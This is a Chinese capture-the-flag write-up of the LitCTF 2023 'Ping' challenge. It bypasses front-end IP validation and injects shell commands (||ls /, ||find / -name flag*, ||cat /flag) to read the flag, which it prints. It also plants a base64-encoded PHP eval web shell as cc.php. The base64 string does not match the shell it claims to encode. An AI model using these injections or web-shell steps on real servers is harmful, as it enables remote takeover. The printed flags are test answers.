Web 5 [LitCTF 2023]Ping

piter 发布于 2024-11-30 142 次阅读 1091 字


AI 摘要

在这篇文章中,我们探讨了如何利用前端验证的漏洞,通过多种思路从简单的Ping命令演变为复杂的命令注入攻击。通过禁用JavaScript、使用工具如BurpSuite、及Hook技术,我们成功绕过验证机制,获取了隐藏的flag。你是否想知道如何将技术与创意结合,以击破安全防线?跟随我们的思路,发现这些多元化的解法吧!

LitCTF 2023]Ping | NSSCTF

  • 一题多解思考

看题目

尝试随便ping一个值

比如本地回环地址127.0.01

果然不行呢,有验证,查了一下资料叫做前端验证

采用的是JavaScript的方式:

JavaScript功能

IP地址验证check_ip() 函数用于验证用户输入的IP地址是否符合IPv4格式。它使用正则表达式 /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/ 来匹配有效的IPv4地址。如果输入的IP地址不符合格式,函数会弹出警告并返回false,阻止表单提交。

所以可以考虑禁用JavaScript

思路一

禁用JavaScript

然后再输入刚刚尝试的地址

得到这个,?好像没啥用

查看一下文件输入127.0.01||ls/

找到了flag

输入127.0.01||cat/flag

flag=NSSCTF{cae6837d-0912-4b2b-bbd8-0ed6e1695c9e}

思路二

使用hackbar发包

不知道怎么回事我的浏览器的hackbar安装的问题

审计源码

<form action="" method="posT" onsubmit="return check_ip()">
<input id="command" name="command" type="text" placeholder="Enter an IP address"/>
<input name="ping" type="submit" value="Ping"/>
</form>

同样是发送comment=127.0.01||ls/(当然我的插件出问题了就没有演示,图片上使用的1.1.1.1也可以)

然后发现flag

再发送comment=127.0.01||cat/flag来读取flag的值

思路三

这个本来放在思路四的,排版排上来了,这个有点没明白

Hook技术绕过前端验证

使用JavaScript Hook

javascript

check_ip = function(){}

Hook check_ip 函数:通过在浏览器的开发者工具(如Chrome的控制台)中重新定义 check_ip 函数,将其替换为一个空函数。这样,无论用户输入什么内容,check_ip 函数都会返回 true,从而绕过前端的IP地址验证。

思路四

学习师傅的思路

采用burpsuite抓包

命令注入攻击

  • 原始请求:假设原始请求中有一个参数 command,其值为 127.0.0.1,表示要执行的命令。
  • 修改请求:攻击者通过BurpSuite修改请求,将 command 参数的值改为 127.0.0.1|whoami,这里的 | 是管道符,用于将前一个命令的输出作为后一个命令的输入。
  • 执行命令:后端接收到修改后的请求后,会执行 127.0.0.1|whoami,其中 whoami 是一个Linux命令,用于显示当前用户的用户名。
  • 返回结果:后端返回执行结果 www-data,表示当前用户是 www-data

进一步利用

  • 查找文件:攻击者继续修改请求,将 command 参数的值改为 127.0.0.x||find / -name flag*,这里的 || 表示如果前一个命令失败,则执行后一个命令。find / -name flag* 用于在根目录下查找文件名以 flag 开头的文件。
  • 返回结果:后端返回 /flag,表示找到了一个名为 flag 的文件。
  • 读取文件:攻击者再次修改请求,将 command 参数的值改为 127.0.0.x||cat /flag,这里的 cat /flag 用于读取 flag 文件的内容。
  • 返回结果:后端返回 flag=NSSCTF(e3c1168b-4204-4875-a84b-bacdca94b744),表示成功读取了 flag 文件的内容。

写入WebShell

  • WebShell:WebShell 是一种恶意脚本,通常以PHP、ASP等语言编写,允许攻击者在目标服务器上执行任意命令。
  • 编码WebShell:攻击者编写了一个简单的PHP WebShell,内容为 <?php eval($_POST[cc]);?>,并将其Base64编码为 PD9waiMgZXZhbcgkXIBPUIRbYZNdkTs/Pg==
  • 写入文件:攻击者通过修改请求,将 command 参数的值改为 127.0.0.x||echo "PD9waiMgZXZhbcgkXIBPUIRbYZNdkTs/Pg==" | base64 -d >cc.php,这里的 echo ... | base64 -d >cc.php 用于将Base64编码的内容解码并写入 cc.php 文件。
  • 成功写入:后端执行命令后,成功将WebShell写入 cc.php 文件,攻击者现在可以通过访问 cc.php 并发送POST请求来执行任意PHP代码。

总结

  • 考点:前端禁用&命令执行 本题目是经典PING命令RCE题目,采用前端验证的方法阻止危险命令,所以解法也很多样。
  • 学会了使用多种工具来辅助自己绕过前段验证

  • wechat_img
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2024-11-30